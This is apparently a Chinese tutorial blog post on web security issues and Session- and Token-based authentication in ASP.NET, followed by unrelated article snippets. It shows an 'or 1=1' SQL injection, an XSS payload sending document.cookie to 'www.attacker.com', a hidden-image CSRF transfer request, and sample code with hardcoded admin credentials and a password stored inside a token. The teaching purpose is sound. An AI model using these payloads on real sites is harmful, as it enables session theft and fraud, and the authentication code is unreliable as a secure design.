第八节:常见安全隐患和传统的基于Session和Token的安全校验

一. 常见的安全隐患

 1. SQL注入

 常见的案例:

String query = "SELECT * FROM T_User WHERE userID='" + Request["userID"] + "';

这个时候,只需要在传递过来的userID后面加上个: or 1=1,即可以获取T_User表中的所有数据了。

解决方案:参数化查询。

2. 跨站脚本攻击(Cross-Site Scripting (XSS))

允许跨站脚本是Web 2.0时代网站最普遍的问题。如果网站没有对用户提交的数据加以验证而直接输出至网页,那么恶意用户就可以在网页中注入脚本来窃取用户数据。

eg:通过后台代码编写前端代码进行输出

1 string page += "<input name='userName' type='TEXT' value='" + request.getParameter("CC") + "'>";

攻击者只要输入以下数据:

'><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi ?foo='+document.cookie</script>'

当该数据被输出到页面的时候,每个访问该页面的用户cookie就自动被提交到了攻击者定义好的网站。

解决方案:输入的数据要进行安全校验和转义

3.跨站请求伪造(Cross-Site Request Forgery (CSRF) )

同样是跨站请求,这种与上面XSS的不同之处在于这个请求是从钓鱼网站上发起的。

比如钓鱼网站包含了下面代码:

<img src="http://example.com/app/transferFunds?amount=1500&amp;destinationAccount=attackersAcct#" width="0" height="0" />

这行代码的作用就是一个在example.com网站的转帐请求,客户访问钓鱼网站时,如果也同时登录了example.com或者保留了example.com的登录状态,那个相应的隐藏请求就会被成功执行。

解决方案:

  使用Token校验,保存好Token,比如:JWT校验。

 

二. 两类系统要解决的常见问题

1. Web系统

(1).是否登录. 没有登录话是不能进入登录以外的页面,即使访问,也要返回到自动进入登录页面。

(2).是否有权限. 权限的展现分两种:a. 没有权限的话直接不显示. b. 没有权限但是显示,单击的时候提示没有权限。

2.APP接口

(1).接口安全,不是任何人都能访问的,必须登录后才能访问,当然也有一部分不需要登录。

(2).防止接口被知道参数后任何能直接访问,要有校验,即使地址暴露别人也访问不通。

 

三. 传统的基于Session的校验

1. 前言

  基于Session的校验,通常是用在管理系统中或者网站上,不适用于APP接口或者前后端分离的项目。

PS:复习一下Session的原理:https://www.cnblogs.com/yaopengfei/p/8057176.html

2. 步骤

①:登录成功,将用户信息(一个实体)和该用户对应的权限信息存放到Session中。

②:对所有的页面的展示的地址(前提需要登录后才能显示的),加上一个过滤器,在过滤器中判断该用户是否登录过,没有登录的话直接退回到登录页面。

③:对所有的业务操作的方法加上一个过滤器,在过滤器中判断该用户是否该权限,没有的话,直接提示没有权限。

注:以上②和③中的过滤器里,都需要到Session中取值。

3. 基于Session验证的弊端

①:Session经常过期回收,导致Session为空,是一些业务操作莫名其妙的没法使用。可以改进为使用数据库的Session,会好很多。

②:由于Session的原理可知,在同一个浏览器中,先后用不同账号登录,先登录的账号Session中的信息会被后登陆账号Session中的信息覆盖。

③:每个用户登录一次,就需要往Session做一次记录,而Session默认是保存在服务器内存中的,随着认证的用户增多,服务器端开销明显增大。

④:不能进行负载均衡,保存在内存中,下次还需要到这台服务器上才能拿到授权。

⑤:Session是基于Cookie,如果Cookie被截获,用户很容易受到跨站请求伪造攻击(CSRF)。

 

四. 传统的基于Token的校验

1. 背景

  APP项目或者其它前后端分离的项目,Session验证用不了,只能用基于token的验证。当然Web项目也可以采用这种方式。

2. 步骤

①:通过账号和密码登录成功,服务端生成一个token(比如:32位不重复的随机字符串)。

②:服务端把该token和用户id保存到数据库(SQLServer或Redis)或者Session中,然后把token值返回给前端。

③:客户端每次请求都带上该token,服务端根据该token来查询是否合法和过期,然后去数据库中查出来用户id进行使用。

3. 弊端

①:验证信息如果存在数据库中,每次都要根据token查用户id,增加了数据库的开销。

②:验证信息如果存在Session中,则增大了服务器端存储的压力。

③:token一旦被截取,就很容易进行跨站请求伪造。

4. 鉴于以上弊端进行思考

①:如果token遵从一定规律,使用对称加密算法来加密用户id生成token,服务器端只要解密该token,就能知道用户id了,不需要额外的开销。 但是,如果对称加密算法泄露了,别人也可以伪造token了。

②:如果我们用非对称加密算法来做呢,保存好秘钥,就不存在上面的问题了,从而引出JWT类似于该原理。

5. 实战案例(基于Token的小升级)

A. 步骤

(1) 登录成功,将账号和密码按照一定格式进行拼接成字符串,然后进行票据加密(对称加密,这其中可以设置很多东西,比如过期时间),将生成的ticket返回给客户端。

(2) 客户端可以把该ticket值存到localstorage中,每次请求在表头进行附加。

(3) 服务器端写一个过滤器,对该ticket进行解密,拿到账号和密码,去数据库中查询,是否匹配,如果匹配则验证通过。

B. 深度分析

同样存在被截取的问题,加密算法如果被人知道,容易被伪造

服务器端验证:见CheckPer0.cs

C. 代码分享

(1). 服务器端校验登录的代码

复制代码

 1        /// <summary>2         /// 模拟登陆3         /// </summary>4         /// <param name="userAccount"></param>5         /// <param name="pwd"></param>6         /// <returns></returns>7         [HttpGet]8         public string Login0(string userAccount, string pwd)9         {
10             //这里实际应该去数据库验证,此处暂时用固定值写死
11             if (userAccount == "admin" && pwd == "123456")
12             {
13                 FormsAuthenticationTicket ticketObject = new FormsAuthenticationTicket(0, userAccount, DateTime.Now, DateTime.Now.AddHours(1), true, $"{userAccount}&{pwd}", FormsAuthentication.FormsCookiePath);
14                 var result = new { result = "ok", ticket = FormsAuthentication.Encrypt(ticketObject) };
15                 return JsonConvert.SerializeObject(result);
16             }
17             else
18             {
19                 var result = new { result = "error" };
20                 return JsonConvert.SerializeObject(result);
21             }
22         }

复制代码

(2). 客户端调用登录的代码

  获取成功,将token值存放到localStorage中。

复制代码

 1               $.get("/api/Seventh/Login0", { userAccount: "admin", pwd: "123456" }, function (data) {2                     var jsonData = JSON.parse(data);3                     if (jsonData.result == "ok") {4                         console.log(jsonData.ticket);5                         //存放到本地缓存中6                         window.localStorage.setItem("myTicket", jsonData.ticket);7                         alert("登录成功,ticket=" + jsonData.ticket);8                     } else {9                         alert("登录失败");
10                     }
11                 });

复制代码

(3). 服务器端过滤器代码

  该过滤器中通过 actionContext.Request.Headers.Authorization 获取固定的参数位:Authorization,然后通过 authorizationModel.Parameter 获取参数值,前端需要分割一下,如下:

  当然还有很多别的赋值和获取的方式,详细的见下面章节。

复制代码

 1  /// <summary>2     /// 基于token的小升级3     /// 过滤器4     /// </summary>5     public class CheckPer0 : AuthorizeAttribute6     {7         public override void OnAuthorization(HttpActionContext actionContext)8         {9             //1. 获取报文头(固定的参数位 Authorization)
10             var authorizationModel = actionContext.Request.Headers.Authorization;
11             //2. 如果标注了[AllowAnonymous]特性,则不进行验证
12             if (actionContext.ActionDescriptor.GetCustomAttributes<AllowAnonymousAttribute>(true).Count != 0
13                || actionContext.ActionDescriptor.ControllerDescriptor.GetCustomAttributes<AllowAnonymousAttribute>(true).Count != 0)
14             {
15                 //base.OnAuthorization(actionContext);
16             }
17             else if (authorizationModel != null && authorizationModel.Parameter != null)
18             {
19                 try
20                 {
21                     //逻辑验证
22                     //解密 
23                     var strTicket = FormsAuthentication.Decrypt(authorizationModel.Parameter).UserData;
24                     //此处应该去数据库验证
25                     if (strTicket.Equals("admin&123456"))
26                     {
27                         //表示校验通过,用于向控制器中传值
28                         actionContext.RequestContext.RouteData.Values.Add("auth", strTicket);
29                     }
30                     else
31                     {
32                         base.HandleUnauthorizedRequest(actionContext);//返回没有授权
33                     }
34                 }
35                 catch (Exception)
36                 {
37 
38                     base.HandleUnauthorizedRequest(actionContext);//返回没有授权
39                 }
40             }
41         }
42     }

复制代码

(4). 服务器端加密后获取信息的代码

复制代码

 1         /// <summary>2         /// 加密后获取信息3         /// </summary>4         /// <returns></returns>5         [HttpGet]6         [CheckPer0]7         public string GetInfor0()8         {9             var userData = RequestContext.RouteData.Values["auth"].ToString();
10             if (string.IsNullOrEmpty(userData))
11             {
12                 var result = new { Message = "error", data = "" };
13                 return JsonConvert.SerializeObject(result);
14             }
15             else
16             {
17                 var result = new { Message = "ok", data = userData };
18                 return JsonConvert.SerializeObject(result);
19             }
20         } 

复制代码

(5). 客户端调用获取信息的代码

复制代码

 1                //从本地缓存中读取token值2                 var myTicket = window.localStorage.getItem("myTicket");3                 $.ajax({4                     url: "/api/Seventh/GetInfor0",5                     type: "Get",6                     data: {},7                     datatype: "json",8                     beforeSend: function (xhr) {9                         //Authorization 是一个固定的参数位置,本来就有这个参数,后台方便获取,当然也可以自己命名
10                         //在myTicket前面加个BasicAuth1 只是为了后台.Parameter能获取到而已,至于叫什么名,没有关系
11                         xhr.setRequestHeader("Authorization", 'BasicAuth1 ' + myTicket)
12                     },
13                     success: function (data) {
14                         console.log(data);
15                         alert(data);
16                     },
17                     //当安全校验未通过的时候进入这里
18                     error: function (xhr) {
19                         if (xhr.status == 401) {
20                             console.log(xhr.responseText);
21                             alert("授权未通过");
22                         }
23                     }
24                 });

复制代码

(6). 运行结果

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/438474.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

android手机设置时间设置,如何设置电信定制手机日期与时间

使用电信定制手机如A765e、A600e、A560e等的时候&#xff0c;可能会发现手机的日期和时间没法自己设置。这主要是因为手机使用电信卡时&#xff0c;会自动与电信基站进行交互并自动调节日期与时间。所以不论使用电信定制的单模或双模手机(单模是指手机只有一个卡槽&#xff0c;…

第二节 CSS入门介绍

一.背景 这里将陆续介绍前端CSS中相关知识&#xff0c;先介绍CSS2.1&#xff0c;后续会介绍CSS3的相关属性&#xff0c;通过该系列的文章&#xff0c;希望能给准备转战前端的人员一些帮助&#xff0c;同时也帮助自己梳理知识&#xff0c;文章中如有错误&#xff0c;欢迎指出。 …

三星sec.android.soagent,3.0降级2.5教程

给小白看的。下载五件套&#xff0c;odia&#xff0c;驱动&#xff0c;地址&#xff1a;http://www.samsungmembers.cn/thread-1019962-110-150.html&#xff0c;或者自己论坛搜索&#xff0c;请下载G9810ZCU2BTJA&#xff0c;别下k3最后一个版本的会出问题&#xff0c;刷机后再…

第三节 入门属性

1.七个基本属性 颜色&#xff1a;color&#xff0c;背景颜色&#xff1a;background-color&#xff0c;字体大小&#xff1a;font-size&#xff0c;加粗&#xff1a;font-weight:bold&#xff0c;倾斜&#xff1a;font-style:italic&#xff0c; 文字居中&#xff1a;text-alig…

第四节 CSS继承性和层叠性

一. 继承性 1. 含义&#xff1a;从自己开始直到所包裹的最小的元素&#xff0c;都可以继承一些特有的属性。 2. 作用范围&#xff1a; a. color、text-开头的、line-开头的、font-开头的&#xff0c;均可以继承。 b. 文字样式的&#xff0c;都能继承&#xff1b;所有关于盒子的…

html鼠标划过显示图片,jquery实现鼠标滑过小图查看大图的方法

本文实例讲述了jquery实现鼠标滑过小图查看大图的方法。分享给大家供大家参考。具体实现方法如下&#xff1a;1. CSS部分&#xff1a;ul{list-style:none;}li{float:left;margin-left:10px;}img{border:#CCCCCC solid 1px;}#max{position:absolute;display:none; /*隐藏层*/}2.…

第五节 盒子模型

1. 盒子模型的五个属性 盒模型主要涉及的属性有&#xff1a;width(宽度)、height(高度)、padding(内边距)、 border(边框)、margin(外边距)。 2. 盒子模型的两种模式 模式一&#xff1a;width盒子自身的width &#xff08;正常情况&#xff09; 模式二&#xff1a;width盒子自…

第六节 标准文档流

一.标准文档流 标准文档流包括&#xff1a;块级元素和行内元素。 (1). 块级元素 特点&#xff1a; 一个元素单独一行&#xff0c;不与其他元素并行&#xff0c;可以设置其宽度和高度&#xff0c;如果不设置宽度&#xff0c;宽度默认为其父元素的100%。 (2). 行内元素 特点&…

第七节 浮动

一. 浮动的性质 1. 脱标&#xff08;脱离标准文档流&#xff09; 无论是块级元素还是行内元素&#xff0c;一旦浮动了&#xff0c;就脱离标准文档流&#xff08;脱标&#xff09;了&#xff0c;就可以设置宽和高了。 下面事例是两个div&#xff0c;其中第一个div浮动了。 1 &l…

html5测试 iphone6sp,5款旧iPhone测试iOS运行速度:只有6S速度明显提升

苹果在周三凌晨推送了iOS13.3.1更新&#xff0c;这款最新系统修复了许多Bug&#xff0c;而且还新增了功能。那么升级后的流畅度表现如何呢&#xff1f;外媒就在第一时间将iPhoneSE、iPhone6S、iPhone7、iPhone8、iPhoneXR这5款旧iPhone进行了一次速度测试&#xff0c;与iOS13.3…

第八节 定位

一. 定位介绍 谈到定位&#xff0c;顾名思义&#xff0c;就确定元素的位置&#xff0c;定位分为三种&#xff1a;相对定位、绝对定位、固定定位&#xff1b;分别用 position&#xff1a;relative、position&#xff1a;absolute、position&#xff1a;fixed来表示&#xff0c;它…

html将字符串按逗号分隔,js如何截取以逗号隔开的字符串

使用string对象的split()方法能够处理。正则表达式定义&#xff1a; split() 方法用于把一个字符串分割成字符串数组。数组使用方法以下&#xff1a;cdnstringObject.split(separator,howmany)对象参数描述&#xff1a;blogseparator 必需。字符串或正则表达式&#xff0c;从该…

CSS块级元素与行内元素的区别和联系

块元素(block element)一般是其他元素的容器元素&#xff0c;能容纳其他块元素或内联元素。块元素就好比一个四方块&#xff0c;可以放其他的四方块&#xff0c;并可以呈现在页面上任何地方。 默认情况下块元素&#xff0c;是独占一行的常见的块元素&#xff1a;div、p、h1-h6…

联想台式计算机驱动程序,联想键盘驱动程序

联想键盘驱动程序官方版联想键盘驱动程序官方版是款适合联想键盘的用户打造的驱动程序。联想键盘驱动程序主要作用就是可以帮助用户解决键盘输入过程中的各种问题&#xff0c;包括联想键无法正常使用与无法被电脑识别的问题。联想键盘驱动程序还可以让用户的键盘与主机完美的兼…

JS入门

一. 总体介绍 结合近半年来前端的项目的经验&#xff0c;这里梳理一下JS常用知识&#xff0c;方便自己日后温习查找&#xff0c;同时给广大JS入门者提供一些帮助&#xff0c;文章中如有错误&#xff0c;欢迎指出。这里从JS基础、Dom操作、JS进阶、四大家族、动画、面向对象入门…

联想记忆计算机网络,什么是双向联想记忆神经网络

联想记忆神经网络是模拟人脑, 把一些样本模式存储在神经网络的权值中, 通过大规模的并行计算, 使不完整的、受到噪声“污染”的畸变模式在网络中恢复到原有的模式本身。大脑是人体最为复杂的信息处理系统。联想记忆(AssociativeMemory, AM) 是人脑的重要认知功能之一。例如, 听…

第二节 DOM-Document对象

一. 整体介绍 这里介绍DOM对象中的Document对象。 何为Document对象&#xff1f;每个载入浏览器的HTML文档都会成为Document对象&#xff0c;Document对象可以帮助我们对所有的HTML文档进行访问。 任何一个对象都会有属性和方法&#xff0c;当然Document对象也不例外&#xff0…

计算机专业的情书,【实用】大学各专业表白情书,你能看懂几个

原标题&#xff1a;【实用】大学各专业表白情书&#xff0c;你能看懂几个大学各专业表白情书的正确打开方式每每看到朋友圈秀恩爱时就会用知识摆脱烦恼刷刷微博浏览网页学学专业技能......但是&#xff01;居然连专业都不放过表白还那么高调来感受感受吧……音乐专业每次看着你…

第三节 DOM-Element对象

一. 整体介绍 这里介绍DOM对象中Element对象。 那么何为Element对象呢&#xff1f;Element对象就是HTML元素&#xff0c;Element对象包括&#xff1a;元素节点、文本节点、属性节点。 下面利用一张图来总体概括一下Element对象包含的知识点。 二. 知识梳理 一张图胜似千言万语…

w8计算机配置要求,win8配置要求 详细介绍

随着win8系统的不断完善&#xff0c;现在已经越来越多用户投身到win8的行列之中&#xff0c;越来越多的人使用win8也代表着出现了新的问题&#xff0c;很多用户考虑到win系统对电脑的硬件要求有所不同&#xff0c;所以有些电脑无法完美的运行win8系统&#xff0c;究竟要怎么样才…